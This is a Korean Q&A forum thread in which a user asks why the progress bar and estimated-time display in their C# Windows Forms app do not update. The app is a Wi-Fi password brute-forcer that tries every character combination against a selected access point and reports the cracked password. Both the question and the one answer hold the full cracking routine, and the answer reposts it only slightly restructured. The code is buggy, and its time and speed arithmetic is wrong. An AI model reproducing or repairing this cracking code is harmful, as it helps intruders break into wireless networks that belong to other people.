2017-05-22 1 views
-2

예상 시간 계산을 위해 Windows 양식 응용 프로그램을 C#에서 만들었지 만 예상 시작 시간 계산 막대를 계산하기 시작 버튼을 클릭해도 변경되지 않습니다!C# 예상 시간 문제

어디에 문제가 있습니까?

private delegate void SetControlPropertyThreadSafeDelegate(
     Control control, 
     string propertyName, 
     object propertyValue); 

     public static void SetControlPropertyThreadSafe(
       Control control, 
       string propertyName, 
       object propertyValue) 
     { 
      if (control.InvokeRequired) 
      { 
       control.Invoke(new SetControlPropertyThreadSafeDelegate 
       (SetControlPropertyThreadSafe), 
       new object[] { control, propertyName, propertyValue }); 
      } 
      else 
      { 
       control.GetType().InvokeMember(
         propertyName, 
         BindingFlags.SetProperty, 
         null, 
         control, 
         new object[] { propertyValue }); 
      } 
     } 

ulong permutations = 0; 
     public void bruteforce_crack(AccessPoint selectedAP) 
     { 
      char[] arr = output.ToCharArray(); 
      int max = Convert.ToInt32(numericUpDown2.Value); 
      int min = Convert.ToInt32(numericUpDown1.Value); 

      for (int i = min; i <= max; i++) 
      { 
       permutations += (ulong)Math.Pow(arr.Count(), i); 
      } 
      SetControlPropertyThreadSafe(label31, "Text", permutations.ToString()); 

      for (int i = min; i <= max; i++) 
      { 
       bruteforce(arr, "", 0, i, selectedAP); 
      } 
     } 

     Stopwatch sw = new Stopwatch(); 
     int elapsedSec = 0; 
     int estimatedTime = 0; 
     int passwordLeft = 0; 
     int speed = 0; 
     private void bruteforce(char[] fin, String pwd, int pos, int length, AccessPoint selectedAP) 
     { 
      timer1.Start(); 

      sw.Start(); 

      if (pos < length) 
      { 
       foreach (char ch in fin) 
       { 
        bruteforce(fin, pwd + ch, pos + 1, length, selectedAP); 

        elapsedSec = Convert.ToInt32(sw.Elapsed.TotalSeconds); 

        // Auth 
        AuthRequest authRequest = new AuthRequest(selectedAP); 
        bool overwrite = true; 

        if (authRequest.IsPasswordRequired) 
        { 
         if (overwrite) 
         { 
          if (authRequest.IsUsernameRequired) 
          { 
           Console.Write("\r\nPlease enter a username: "); 
           authRequest.Username = Console.ReadLine(); 
          } 
          authRequest.Password = pwd; 

          if (authRequest.IsDomainSupported) 
          { 
           Console.Write("\r\nPlease enter a domain: "); 
           authRequest.Domain = Console.ReadLine(); 
          } 
         } 
        } 

        selectedAP.ConnectAsync(authRequest, overwrite, OnConnectedComplete); 
       } 
      } 
      else 
      { 
       try 
       { 
        SetControlPropertyThreadSafe(label4, "Text", pwd); 

        SetControlPropertyThreadSafe(label5, "Text", count.ToString()); 
        count++; 

        speed = count/elapsedSec; 
        SetControlPropertyThreadSafe(label23, "Text", speed + " passwords/s"); 

        passwordLeft = (int)permutations - count; 
        estimatedTime = speed * (int)permutations - passwordLeft * speed; 


        SetControlPropertyThreadSafe(progressBar1, "Maximum", (int)permutations); 
        SetControlPropertyThreadSafe(progressBar1, "Value", estimatedTime); 
        SetControlPropertyThreadSafe(label30, "Text", estimatedTime.ToString() + "%"); 

        if (check(selectedAP) == true && CheckForInternetConnection() == true) 
        { 
         var timeEnded = DateTime.Now; 
         SetControlPropertyThreadSafe(label4, "Text", pwd); 
         MessageBox.Show("Password is :" + pwd, "Wifi Bruteforce", MessageBoxButtons.OK, MessageBoxIcon.Information); 
         SetControlPropertyThreadSafe(label34, "Text", timeEnded.ToString()); 
         sw.Stop(); 
         return; 
        } 
       } 
       catch (Exception ex) 
       { 
        MessageBox.Show(ex.Message); 
       } 
      } 
     } 
private void timer1_Tick(object sender, EventArgs e) 
     { 
      SetControlPropertyThreadSafe(progressBar1, "Value", estimatedTime + 1); 
     } 
+0

디버깅을 시도한 적이 있습니까? –

+0

타이머의 빈도는 얼마입니까? 타이머를 업데이트하기위한 스레드 세이프 (threadafe safe) 작업을 한 것 같지만 UI 스레드에서이 모든 것을 실행하고 있으므로 업데이트 할 수 없습니다. – BugFinder

+0

Form_Load 내에 timer.Interval = 100을 설정합니다. – pavlestojanovic1906

답변

0

진행률 바코드가 절대로 실행되지 않습니다.

해결 방법 : bruteforce 방법을 변경하십시오. else 문에서 if 문으로 모든 코드를 이동하고 다음과 같이 else 문을 제거하십시오.

private void bruteforce(char[] fin, String pwd, int pos, int length, AccessPoint selectedAP) 
    { 
     timer1.Start(); 

     sw.Start(); 

     if (pos < length) 
     { 
      foreach (char ch in fin) 
      { 
       bruteforce(fin, pwd + ch, pos + 1, length, selectedAP); 

       elapsedSec = Convert.ToInt32(sw.Elapsed.TotalSeconds); 

       // Auth 
       AuthRequest authRequest = new AuthRequest(selectedAP); 
       bool overwrite = true; 

       if (authRequest.IsPasswordRequired) 
       { 
        if (overwrite) 
        { 
         if (authRequest.IsUsernameRequired) 
         { 
          Console.Write("\r\nPlease enter a username: "); 
          authRequest.Username = Console.ReadLine(); 
         } 
         authRequest.Password = pwd; 

         if (authRequest.IsDomainSupported) 
         { 
          Console.Write("\r\nPlease enter a domain: "); 
          authRequest.Domain = Console.ReadLine(); 
         } 
        } 
       } 

       selectedAP.ConnectAsync(authRequest, overwrite, OnConnectedComplete); 
      } 



      try 
      { 
       SetControlPropertyThreadSafe(label4, "Text", pwd); 

       SetControlPropertyThreadSafe(label5, "Text", count.ToString()); 
       count++; 

       speed = count/elapsedSec; 
       SetControlPropertyThreadSafe(label23, "Text", speed + " passwords/s"); 

       passwordLeft = (int)permutations - count; 
       estimatedTime = speed * (int)permutations - passwordLeft * speed; 


       SetControlPropertyThreadSafe(progressBar1, "Maximum", (int)permutations); 
       SetControlPropertyThreadSafe(progressBar1, "Value", estimatedTime); 
       SetControlPropertyThreadSafe(label30, "Text", estimatedTime.ToString() + "%"); 

       if (check(selectedAP) == true && CheckForInternetConnection() == true) 
       { 
        var timeEnded = DateTime.Now; 
        SetControlPropertyThreadSafe(label4, "Text", pwd); 
        MessageBox.Show("Password is :" + pwd, "Wifi Bruteforce", MessageBoxButtons.OK, MessageBoxIcon.Information); 
        SetControlPropertyThreadSafe(label34, "Text", timeEnded.ToString()); 
        sw.Stop(); 
        return; 
       } 
      } 
      catch (Exception ex) 
      { 
       MessageBox.Show(ex.Message); 
      } 
     }    
    } 
+0

코드를 변경했지만 여전히 아무 일도 일어나지 않습니다 !!! – pavlestojanovic1906